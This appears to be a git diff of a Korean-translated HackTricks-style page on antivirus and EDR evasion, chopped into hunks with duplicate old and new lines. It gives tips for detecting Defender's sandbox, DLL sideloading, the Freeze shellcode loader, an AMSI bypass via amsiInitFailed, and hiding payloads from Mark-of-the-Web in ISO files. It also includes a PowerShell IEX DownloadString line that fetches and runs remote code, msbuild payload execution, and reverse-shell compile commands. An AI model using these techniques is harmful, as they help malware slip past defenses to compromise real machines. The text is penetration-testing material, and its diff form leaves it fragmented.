||||
|
||||
실용적인 AV 회피에 대한 [YouTube 재생 목록](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf)을 확인하는 것을 강력히 추천합니다.
|
||||
실용적인 AV 회피에 대한 이 [YouTube 재생목록](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf)을 확인하는 것을 강력히 추천합니다.
|
||||
|
||||
### **동적 분석**
|
||||
|
||||
동적 분석은 AV가 이진 파일을 샌드박스에서 실행하고 악성 활동을 감시하는 것입니다(예: 브라우저의 비밀번호를 복호화하고 읽으려 하거나, LSASS에서 미니 덤프를 수행하는 등). 이 부분은 다루기가 조금 더 까다로울 수 있지만, 샌드박스를 회피하기 위해 할 수 있는 몇 가지 방법이 있습니다.
|
||||
|
||||
* **실행 전 대기** 구현 방식에 따라 AV의 동적 분석을 우회하는 좋은 방법이 될 수 있습니다. AV는 사용자의 작업 흐름을 방해하지 않기 위해 파일을 스캔할 시간이 매우 짧기 때문에 긴 대기를 사용하면 이진 파일 분석을 방해할 수 있습니다. 문제는 많은 AV의 샌드박스가 구현 방식에 따라 대기를 건너뛸 수 있다는 것입니다.
|
||||
* **컴퓨터 자원 확인** 일반적으로 샌드박스는 작업할 수 있는 자원이 매우 적습니다(예: < 2GB RAM). 그렇지 않으면 사용자의 컴퓨터를 느리게 만들 수 있습니다. 여기서 매우 창의적으로 접근할 수 있습니다. 예를 들어 CPU의 온도나 팬 속도를 확인하는 것과 같이 샌드박스에 구현되지 않은 것들이 많습니다.
|
||||
* **컴퓨터 자원 확인** 일반적으로 샌드박스는 작업할 수 있는 자원이 매우 적습니다(예: < 2GB RAM), 그렇지 않으면 사용자의 컴퓨터를 느리게 만들 수 있습니다. 여기서 매우 창의적으로 접근할 수 있습니다. 예를 들어 CPU의 온도나 팬 속도를 확인하는 것과 같이 샌드박스에 구현되지 않은 것들이 많습니다.
|
||||
* **기계 특정 검사** "contoso.local" 도메인에 가입된 사용자를 타겟으로 하려면 컴퓨터의 도메인을 확인하여 지정한 도메인과 일치하는지 확인할 수 있습니다. 일치하지 않으면 프로그램을 종료할 수 있습니다.
|
||||
|
||||
Microsoft Defender의 샌드박스 컴퓨터 이름은 HAL9TH입니다. 따라서 폭발 전에 악성코드에서 컴퓨터 이름을 확인할 수 있습니다. 이름이 HAL9TH와 일치하면 Defender의 샌드박스 안에 있다는 의미이므로 프로그램을 종료할 수 있습니다.
|
||||
Microsoft Defender의 샌드박스 컴퓨터 이름은 HAL9TH이므로, 폭발 전에 악성코드에서 컴퓨터 이름을 확인할 수 있습니다. 이름이 HAL9TH와 일치하면 Defender의 샌드박스 안에 있다는 의미이므로 프로그램을 종료할 수 있습니다.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>출처: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
샌드박스에 대항하기 위한 [@mgeeky](https://twitter.com/mariuszbit)의 몇 가지 좋은 팁
|
||||
|
||||
|
@ -61,17 +67,17 @@ Microsoft Defender의 샌드박스 컴퓨터 이름은 HAL9TH입니다. 따라
|
|||
|
||||
앞서 언급했듯이, **공식 도구**는 결국 **탐지됩니다**, 따라서 스스로에게 질문해야 합니다:
|
||||
|
||||
예를 들어, LSASS를 덤프하려면 **정말로 mimikatz를 사용해야 합니까**? 아니면 덜 알려진 다른 프로젝트를 사용하여 LSASS를 덤프할 수 있을까요?
|
||||
예를 들어, LSASS를 덤프하려면 **정말로 mimikatz를 사용해야 하나요**? 아니면 덜 알려진 다른 프로젝트를 사용하여 LSASS를 덤프할 수 있을까요?
|
||||
|
||||
정답은 아마 후자일 것입니다. mimikatz를 예로 들면, 아마도 AV와 EDR에 의해 가장 많이 플래그가 지정된 악성코드 중 하나일 것입니다. 프로젝트 자체는 매우 멋지지만, AV를 우회하기 위해 작업하는 것은 악몽과도 같습니다. 따라서 달성하려는 목표에 대한 대안을 찾아보세요.
|
||||
|
||||
{% hint style="info" %}
|
||||
회피를 위해 페이로드를 수정할 때는 Defender에서 **자동 샘플 제출을 끄는 것**을 잊지 마세요. 그리고 제발, 진지하게, **VIRUSTOTAL에 업로드하지 마세요**. 장기적으로 회피를 달성하는 것이 목표라면 말이죠. 특정 AV에서 페이로드가 탐지되는지 확인하고 싶다면 VM에 설치하고 자동 샘플 제출을 끄고 결과에 만족할 때까지 테스트하세요.
|
||||
회피를 위해 페이로드를 수정할 때는 Defender에서 **자동 샘플 제출을 끄는 것**을 잊지 마세요. 그리고 제발, **장기적으로 회피를 달성하는 것이 목표라면 VIRUSTOTAL에 업로드하지 마세요**. 특정 AV에서 페이로드가 탐지되는지 확인하고 싶다면 VM에 설치하고 자동 샘플 제출을 끄고 결과에 만족할 때까지 테스트하세요.
|
||||
{% endhint %}
|
||||
|
||||
## EXE와 DLL
|
||||
## EXEs vs DLLs
|
||||
|
||||
가능할 때마다 항상 **회피를 위해 DLL 사용을 우선시하세요**. 제 경험상 DLL 파일은 일반적으로 **탐지 및 분석이 훨씬 덜** 되므로, 경우에 따라 탐지를 피하기 위한 매우 간단한 트릭입니다(물론 페이로드가 DLL로 실행될 수 있는 방법이 있어야 합니다).
|
||||
가능할 때마다 항상 **회피를 위해 DLL 사용을 우선시하세요**. 제 경험상 DLL 파일은 일반적으로 **탐지 및 분석이 훨씬 덜 됩니다**. 따라서 경우에 따라 탐지를 피하기 위해 사용하는 매우 간단한 트릭입니다(물론 페이로드가 DLL로 실행될 수 있는 방법이 있어야 합니다).
|
||||
|
||||
이 이미지에서 볼 수 있듯이, Havoc의 DLL 페이로드는 antiscan.me에서 4/26의 탐지율을 보이는 반면, EXE 페이로드는 7/26의 탐지율을 보입니다.
|
||||
|
||||
|
@ -96,7 +102,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
|||
|
||||
이 명령은 "C:\Program Files\\" 내에서 DLL 하이재킹에 취약한 프로그램 목록과 그들이 로드하려고 하는 DLL 파일을 출력합니다.
|
||||
|
||||
저는 **DLL 하이재킹 가능/사이드로드 가능한 프로그램을 직접 탐색할 것을 강력히 권장합니다**. 이 기술은 제대로 수행되면 매우 은밀하지만, 공개적으로 알려진 DLL 사이드로드 가능한 프로그램을 사용하면 쉽게 발각될 수 있습니다.
|
||||
저는 **DLL 하이재킹 가능/사이드로드 가능한 프로그램을 직접 탐색할 것을 강력히 추천합니다**, 이 기술은 제대로 수행되면 매우 은밀하지만, 공개적으로 알려진 DLL 사이드로드 가능한 프로그램을 사용하면 쉽게 발각될 수 있습니다.
|
||||
|
||||
악성 DLL을 프로그램이 로드할 것으로 예상하는 이름으로 배치하는 것만으로는 페이로드가 로드되지 않습니다. 프로그램은 해당 DLL 내에서 특정 기능을 기대하기 때문입니다. 이 문제를 해결하기 위해 **DLL 프록시/포워딩**이라는 또 다른 기술을 사용할 것입니다.
|
||||
|
||||
|
@ -134,14 +140,14 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
|||
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
나는 당신이 [S3cur3Th1sSh1t의 트위치 VOD](https://www.twitch.tv/videos/1644171543)와 [ippsec의 비디오](https://www.youtube.com/watch?v=3eROsG\_WNpE)를 시청할 것을 **강력히 추천**합니다. 우리가 더 깊이 논의한 내용을 배우기 위해서입니다.
|
||||
나는 당신이 [S3cur3Th1sSh1t의 트위치 VOD](https://www.twitch.tv/videos/1644171543)와 [ippsec의 비디오](https://www.youtube.com/watch?v=3eROsG_WNpE)를 시청할 것을 **강력히 추천**합니다. 우리가 더 깊이 논의한 내용을 배우는 데 도움이 될 것입니다.
|
||||
{% endhint %}
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
`Freeze는 중단된 프로세스, 직접 시스템 호출 및 대체 실행 방법을 사용하여 EDR을 우회하기 위한 페이로드 툴킷입니다.`
|
||||
|
||||
Freeze를 사용하여 쉘코드를 은밀하게 로드하고 실행할 수 있습니다.
|
||||
Freeze를 사용하여 은밀한 방식으로 쉘코드를 로드하고 실행할 수 있습니다.
|
||||
```
|
||||
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
|
||||
1. Generate some shellcode, in this case I used Havoc C2.
|
||||
|
@ -156,7 +162,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
|||
|
||||
## AMSI (안티 맬웨어 스캔 인터페이스)
|
||||
|
||||
AMSI는 "[파일리스 맬웨어](https://en.wikipedia.org/wiki/Fileless\_malware)"를 방지하기 위해 만들어졌습니다. 처음에 AV는 **디스크의 파일**만 스캔할 수 있었기 때문에, 만약 페이로드를 **메모리에서 직접 실행**할 수 있다면 AV는 이를 방지할 수 없었습니다. 왜냐하면 충분한 가시성이 없었기 때문입니다.
|
||||
AMSI는 "[파일리스 맬웨어](https://en.wikipedia.org/wiki/Fileless\_malware)"를 방지하기 위해 만들어졌습니다. 처음에 AV는 **디스크의 파일**만 스캔할 수 있었기 때문에, 만약 페이로드를 **직접 메모리에서 실행**할 수 있다면 AV는 이를 방지할 수 없었습니다. 왜냐하면 충분한 가시성이 없었기 때문입니다.
|
||||
|
||||
AMSI 기능은 Windows의 다음 구성 요소에 통합되어 있습니다.
|
||||
|
||||
|
@ -166,7 +172,7 @@ AMSI 기능은 Windows의 다음 구성 요소에 통합되어 있습니다.
|
|||
* JavaScript 및 VBScript
|
||||
* Office VBA 매크로
|
||||
|
||||
이는 안티바이러스 솔루션이 스크립트 내용을 암호화되지 않고 난독화되지 않은 형태로 노출하여 스크립트 동작을 검사할 수 있도록 합니다.
|
||||
이는 안티바이러스 솔루션이 스크립트 내용을 암호화되지 않고 난독화되지 않은 형태로 노출하여 스크립트 동작을 검사할 수 있게 합니다.
|
||||
|
||||
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')`를 실행하면 Windows Defender에서 다음 경고가 발생합니다.
|
||||
|
||||
|
@ -182,15 +188,15 @@ AMSI를 우회하는 방법은 몇 가지가 있습니다:
|
|||
|
||||
AMSI는 주로 정적 감지와 함께 작동하므로, 로드하려는 스크립트를 수정하는 것이 감지를 회피하는 좋은 방법이 될 수 있습니다.
|
||||
|
||||
그러나 AMSI는 여러 레이어가 있더라도 스크립트를 난독화 해제할 수 있는 기능이 있으므로, 난독화가 어떻게 이루어졌는지에 따라 나쁜 선택이 될 수 있습니다. 이는 회피를 간단하지 않게 만듭니다. 하지만 때때로, 변수 이름 몇 개만 변경하면 괜찮아질 수 있으므로, 얼마나 많은 것이 플래그가 되었는지에 따라 다릅니다.
|
||||
그러나 AMSI는 여러 레이어가 있더라도 스크립트를 난독화 해제할 수 있는 기능이 있으므로, 난독화가 어떻게 이루어졌는지에 따라 나쁜 선택이 될 수 있습니다. 이는 회피를 간단하지 않게 만듭니다. 하지만 때때로, 변수 이름 몇 개만 변경하면 괜찮아지므로, 얼마나 많은 것이 플래그가 되었는지에 따라 다릅니다.
|
||||
|
||||
* **AMSI 우회**
|
||||
|
||||
AMSI는 powershell(또는 cscript.exe, wscript.exe 등) 프로세스에 DLL을 로드하여 구현되므로, 비특권 사용자로 실행하더라도 쉽게 조작할 수 있습니다. AMSI 구현의 이 결함으로 인해 연구자들은 AMSI 스캔을 회피하는 여러 방법을 발견했습니다.
|
||||
AMSI는 powershell(또는 cscript.exe, wscript.exe 등) 프로세스에 DLL을 로드하여 구현되므로, 비특권 사용자로 실행하더라도 쉽게 조작할 수 있습니다. AMSI 구현의 이 결함으로 인해 연구자들은 AMSI 스캔을 우회하는 여러 방법을 발견했습니다.
|
||||
|
||||
**오류 강제 발생**
|
||||
|
||||
AMSI 초기화를 실패하게 강제하면(amsiInitFailed) 현재 프로세스에 대한 스캔이 시작되지 않습니다. 원래 이는 [Matt Graeber](https://twitter.com/mattifestation)에 의해 공개되었으며, Microsoft는 더 넓은 사용을 방지하기 위해 서명을 개발했습니다.
|
||||
AMSI 초기화가 실패하도록 강제하면(amsiInitFailed) 현재 프로세스에 대한 스캔이 시작되지 않습니다. 원래 이는 [Matt Graeber](https://twitter.com/mattifestation)에 의해 공개되었으며, Microsoft는 더 넓은 사용을 방지하기 위해 서명을 개발했습니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
|
@ -216,28 +222,28 @@ $Spotfix.SetValue($null,$true)
|
|||
```
|
||||
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
|
||||
|
||||
**메모리 패칭**
|
||||
**Memory Patching**
|
||||
|
||||
이 기술은 [@RastaMouse](https://twitter.com/\_RastaMouse/)에 의해 처음 발견되었으며, amsi.dll에서 "AmsiScanBuffer" 함수의 주소를 찾아 사용자 제공 입력을 스캔하는 역할을 하는 이 함수를 E\_INVALIDARG 코드를 반환하도록 덮어쓰는 것을 포함합니다. 이렇게 하면 실제 스캔의 결과가 0으로 반환되어 깨끗한 결과로 해석됩니다.
|
||||
이 기술은 [@RastaMouse](https://twitter.com/\_RastaMouse/)에 의해 처음 발견되었으며, amsi.dll에서 "AmsiScanBuffer" 함수의 주소를 찾아 사용자 제공 입력을 스캔하는 역할을 하는 이 함수를 E\_INVALIDARG 코드를 반환하도록 덮어쓰는 것입니다. 이렇게 하면 실제 스캔의 결과가 0으로 반환되어 깨끗한 결과로 해석됩니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
자세한 설명은 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)를 읽어보세요.
|
||||
{% endhint %}
|
||||
|
||||
PowerShell을 사용하여 AMSI를 우회하는 데 사용되는 다른 많은 기술도 있습니다. [**이 페이지**](basic-powershell-for-pentesters/#amsi-bypass)와 [이 레포지토리](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)를 확인하여 더 많은 정보를 알아보세요.
|
||||
Powershell로 AMSI를 우회하는 데 사용되는 다른 많은 기술도 있습니다. [**이 페이지**](basic-powershell-for-pentesters/#amsi-bypass)와 [이 레포지토리](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)를 확인하여 더 많은 정보를 알아보세요.
|
||||
|
||||
또는 메모리 패칭을 통해 각 새로운 Powersh를 패치하는 이 스크립트
|
||||
또는 메모리 패칭을 통해 각 새로운 Powersh를 패치하는 이 스크립트가 있습니다.
|
||||
|
||||
## 난독화
|
||||
## Obfuscation
|
||||
|
||||
다음과 같은 **C# 평문 코드를 난독화**하거나 **메타프로그래밍 템플릿**을 생성하여 바이너리를 컴파일하거나 **컴파일된 바이너리를 난독화**하는 데 사용할 수 있는 여러 도구가 있습니다:
|
||||
C# 클리어 텍스트 코드를 **난독화**하거나 이진 파일을 컴파일하기 위한 **메타프로그래밍 템플릿**을 생성하거나 **컴파일된 이진 파일을 난독화**하는 데 사용할 수 있는 여러 도구가 있습니다:
|
||||
|
||||
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 난독화기**
|
||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 이 프로젝트의 목표는 [LLVM](http://www.llvm.org/) 컴파일러 모음의 오픈 소스 포크를 제공하여 [코드 난독화](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) 및 변조 방지를 통해 소프트웨어 보안을 강화하는 것입니다.
|
||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 이 프로젝트의 목표는 [LLVM](http://www.llvm.org/) 컴파일 스위트의 오픈 소스 포크를 제공하여 [코드 난독화](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) 및 변조 방지를 통해 소프트웨어 보안을 강화하는 것입니다.
|
||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator는 `C++11/14` 언어를 사용하여 외부 도구를 사용하지 않고 컴파일 시간에 난독화된 코드를 생성하는 방법을 보여줍니다.
|
||||
* [**obfy**](https://github.com/fritzone/obfy): C++ 템플릿 메타프로그래밍 프레임워크에 의해 생성된 난독화된 작업의 레이어를 추가하여 애플리케이션을 크랙하려는 사람의 삶을 조금 더 어렵게 만듭니다.
|
||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz는 .exe, .dll, .sys를 포함한 다양한 pe 파일을 난독화할 수 있는 x64 바이너리 난독화기입니다.
|
||||
* [**metame**](https://github.com/a0rtega/metame): Metame는 임의 실행 파일을 위한 간단한 변형 코드 엔진입니다.
|
||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz는 .exe, .dll, .sys를 포함한 다양한 pe 파일을 난독화할 수 있는 x64 이진 난독화기입니다.
|
||||
* [**metame**](https://github.com/a0rtega/metame): Metame는 임의의 실행 파일을 위한 간단한 변형 코드 엔진입니다.
|
||||
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator는 ROP(리턴 지향 프로그래밍)를 사용하는 LLVM 지원 언어를 위한 세밀한 코드 난독화 프레임워크입니다. ROPfuscator는 일반 명령어를 ROP 체인으로 변환하여 프로그램을 어셈블리 코드 수준에서 난독화하여 정상적인 제어 흐름에 대한 우리의 자연스러운 개념을 저해합니다.
|
||||
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt는 Nim으로 작성된 .NET PE 크립터입니다.
|
||||
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor는 기존 EXE/DLL을 쉘코드로 변환한 다음 로드할 수 있습니다.
|
||||
|
@ -250,7 +256,7 @@ Microsoft Defender SmartScreen은 잠재적으로 악성 애플리케이션 실
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen은 주로 평판 기반 접근 방식으로 작동하며, 이는 일반적으로 다운로드되지 않는 애플리케이션이 SmartScreen을 트리거하여 최종 사용자가 파일을 실행하지 못하도록 경고하고 방지한다는 것을 의미합니다(파일은 여전히 More Info -> Run anyway를 클릭하여 실행할 수 있습니다).
|
||||
SmartScreen은 주로 평판 기반 접근 방식을 사용하여, 일반적으로 다운로드되지 않는 애플리케이션이 SmartScreen을 트리거하여 최종 사용자가 파일을 실행하지 못하도록 경고하고 방지합니다(파일은 여전히 More Info -> Run anyway를 클릭하여 실행할 수 있습니다).
|
||||
|
||||
**MoTW** (Mark of The Web)는 [NTFS 대체 데이터 스트림](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\))으로, 인터넷에서 파일을 다운로드할 때 자동으로 생성되며, 다운로드한 URL과 함께 Zone.Identifier라는 이름을 가집니다.
|
||||
|
||||
|
@ -260,13 +266,13 @@ SmartScreen은 주로 평판 기반 접근 방식으로 작동하며, 이는 일
|
|||
신뢰할 수 있는 서명 인증서로 서명된 실행 파일은 **SmartScreen을 트리거하지 않습니다**.
|
||||
{% endhint %}
|
||||
|
||||
페이로드가 Mark of The Web을 받지 않도록 방지하는 매우 효과적인 방법은 ISO와 같은 어떤 종류의 컨테이너에 패키징하는 것입니다. 이는 Mark-of-the-Web (MOTW) **가** **비 NTFS** 볼륨에 적용될 수 없기 때문입니다.
|
||||
페이로드가 Mark of The Web을 받지 않도록 하는 매우 효과적인 방법은 ISO와 같은 컨테이너에 패키징하는 것입니다. 이는 Mark-of-the-Web (MOTW)이 **비 NTFS** 볼륨에 적용될 수 없기 때문입니다.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)는 Mark-of-the-Web을 피하기 위해 페이로드를 출력 컨테이너에 패키징하는 도구입니다.
|
||||
|
||||
예제 사용법:
|
||||
Example usage:
|
||||
```powershell
|
||||
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
|
||||
|
||||
|
@ -292,43 +298,43 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
|
|||
|
||||
<figure><img src="../.gitbook/assets/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## C# 어셈블리 리플렉션
|
||||
## C# Assembly Reflection
|
||||
|
||||
C# 바이너리를 메모리에 로드하는 것은 꽤 오랫동안 알려져 있으며, AV에 걸리지 않고 포스트 익스플로잇 도구를 실행하는 매우 좋은 방법입니다.
|
||||
|
||||
페이로드가 디스크를 건드리지 않고 메모리에 직접 로드되기 때문에, 전체 과정에서 AMSI 패치에 대해서만 걱정하면 됩니다.
|
||||
페이로드가 디스크를 건드리지 않고 메모리에 직접 로드되기 때문에, 전체 프로세스에 대해 AMSI 패치에 대해서만 걱정하면 됩니다.
|
||||
|
||||
대부분의 C2 프레임워크(슬리버, 코버넌트, 메타스플로잇, 코발트스트라이크, 하복 등)는 이미 C# 어셈블리를 메모리에서 직접 실행할 수 있는 기능을 제공하지만, 이를 수행하는 방법은 여러 가지가 있습니다:
|
||||
|
||||
* **포크&런**
|
||||
* **Fork\&Run**
|
||||
|
||||
이는 **새로운 희생 프로세스를 생성**하고, 그 새로운 프로세스에 포스트 익스플로잇 악성 코드를 주입하여 악성 코드를 실행하고, 완료되면 새로운 프로세스를 종료하는 것입니다. 이 방법은 장점과 단점이 모두 있습니다. 포크 앤 런 방법의 장점은 실행이 **우리 비콘 임플란트 프로세스 외부**에서 발생한다는 것입니다. 이는 포스트 익스플로잇 작업에서 문제가 발생하거나 잡히더라도 **임플란트가 생존할 가능성이 훨씬 더 높습니다.** 단점은 **행동 탐지**에 의해 잡힐 가능성이 **더 높아진다는** 것입니다.
|
||||
이는 **새로운 희생 프로세스를 생성**하고, 그 새로운 프로세스에 포스트 익스플로잇 악성 코드를 주입하여 악성 코드를 실행하고, 완료되면 새로운 프로세스를 종료하는 것입니다. 이 방법은 장점과 단점이 모두 있습니다. Fork and run 방법의 장점은 실행이 **우리의 비콘 임플란트 프로세스 외부**에서 발생한다는 것입니다. 이는 포스트 익스플로잇 작업에서 문제가 발생하거나 잡히더라도 **임플란트가 생존할 가능성이 훨씬 더 높습니다.** 단점은 **행동 탐지**에 의해 잡힐 가능성이 **더 높아진다는** 것입니다.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **인라인**
|
||||
* **Inline**
|
||||
|
||||
이는 포스트 익스플로잇 악성 코드를 **자신의 프로세스에 주입하는 것**입니다. 이렇게 하면 새로운 프로세스를 생성하고 AV에 의해 스캔되는 것을 피할 수 있지만, 단점은 페이로드 실행에 문제가 생기면 **비콘을 잃을 가능성이 훨씬 더 높아진다는** 것입니다.
|
||||
이는 포스트 익스플로잇 악성 코드를 **자신의 프로세스에 주입하는 것**입니다. 이렇게 하면 새로운 프로세스를 생성하고 AV에 의해 스캔되는 것을 피할 수 있지만, 단점은 페이로드 실행에 문제가 생기면 **비콘을 잃을 가능성이 훨씬 더 높아진다는** 것입니다. 왜냐하면 비콘이 충돌할 수 있기 때문입니다.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
C# 어셈블리 로딩에 대해 더 읽고 싶다면, 이 기사를 확인해 보세요 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) 및 그들의 InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
C# 어셈블리 로딩에 대해 더 읽고 싶다면, 이 기사를 확인해 보세요 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) 그리고 그들의 InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
{% endhint %}
|
||||
|
||||
C# 어셈블리를 **PowerShell에서 로드할 수도 있습니다**, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) 및 [S3cur3th1sSh1t의 비디오](https://www.youtube.com/watch?v=oe11Q-3Akuk)를 확인해 보세요.
|
||||
PowerShell에서 C# 어셈블리를 **로드할 수도 있습니다**, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)와 [S3cur3th1sSh1t의 비디오](https://www.youtube.com/watch?v=oe11Q-3Akuk)를 확인해 보세요.
|
||||
|
||||
## 다른 프로그래밍 언어 사용하기
|
||||
|
||||
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)에서 제안한 바와 같이, 손상된 머신에 **공격자 제어 SMB 공유에 설치된 인터프리터 환경에 대한 접근을 제공함으로써** 다른 언어를 사용하여 악성 코드를 실행할 수 있습니다.
|
||||
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)에서 제안한 바와 같이, 손상된 머신에 **공격자가 제어하는 SMB 공유에 설치된 인터프리터 환경에 대한 접근을 제공함으로써** 다른 언어를 사용하여 악성 코드를 실행할 수 있습니다.
|
||||
|
||||
SMB 공유에서 인터프리터 바이너리와 환경에 대한 접근을 허용함으로써, 손상된 머신의 **메모리 내에서 이러한 언어로 임의의 코드를 실행할 수 있습니다.**
|
||||
SMB 공유의 인터프리터 바이너리와 환경에 대한 접근을 허용함으로써, 손상된 머신의 **메모리 내에서 이러한 언어로 임의의 코드를 실행할 수 있습니다.**
|
||||
|
||||
레포지토리는 다음과 같이 언급합니다: Defender는 여전히 스크립트를 스캔하지만 Go, Java, PHP 등을 활용함으로써 **정적 서명을 우회할 수 있는 더 많은 유연성을 갖습니다.** 이러한 언어로 무작위로 난독화되지 않은 리버스 셸 스크립트로 테스트한 결과 성공적이었습니다.
|
||||
|
||||
## 고급 회피
|
||||
|
||||
회피는 매우 복잡한 주제이며, 때때로 하나의 시스템에서 여러 가지 다른 텔레메트리 소스를 고려해야 하므로 성숙한 환경에서 완전히 탐지되지 않는 것은 거의 불가능합니다.
|
||||
회피는 매우 복잡한 주제입니다. 때때로 하나의 시스템에서 여러 가지 다른 텔레메트리 소스를 고려해야 하므로, 성숙한 환경에서 완전히 탐지되지 않는 것은 거의 불가능합니다.
|
||||
|
||||
당신이 맞서는 모든 환경은 고유한 강점과 약점을 가질 것입니다.
|
||||
|
||||
|
@ -347,9 +353,9 @@ SMB 공유에서 인터프리터 바이너리와 환경에 대한 접근을 허
|
|||
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)를 사용하여 **바이너리의 일부를 제거**하여 **Defender가 악성으로 찾는 부분을 알아내고** 이를 분리할 수 있습니다.\
|
||||
또 다른 도구로는 [**avred**](https://github.com/dobin/avred)가 있으며, [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)에서 서비스를 제공하고 있습니다.
|
||||
|
||||
### **텔넷 서버**
|
||||
### **Telnet 서버**
|
||||
|
||||
Windows 10까지 모든 Windows에는 **텔넷 서버**가 포함되어 있었으며, 이를 설치할 수 있었습니다(관리자로서):
|
||||
Windows 10까지 모든 Windows에는 **Telnet 서버**가 포함되어 있었으며, 이를 설치할 수 있었습니다(관리자로서):
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
|
@ -408,7 +414,7 @@ generate #payload is the default name
|
|||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
```
|
||||
**현재의 방어자는 프로세스를 매우 빠르게 종료합니다.**
|
||||
**현재의 방어자는 프로세스를 매우 빠르게 종료할 것입니다.**
|
||||
|
||||
### 자체 리버스 셸 컴파일하기
|
||||
|
||||
|
@ -416,7 +422,7 @@ https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
|||
|
||||
#### 첫 번째 C# 리버스 셸
|
||||
|
||||
다음과 함께 컴파일합니다:
|
||||
다음과 함께 컴파일하세요:
|
||||
```
|
||||
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
|
||||
```
|
||||
|
@ -563,6 +569,12 @@ https://github.com/praetorian-code/vulcan
|
|||
|
||||
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
당신이 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 구사 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
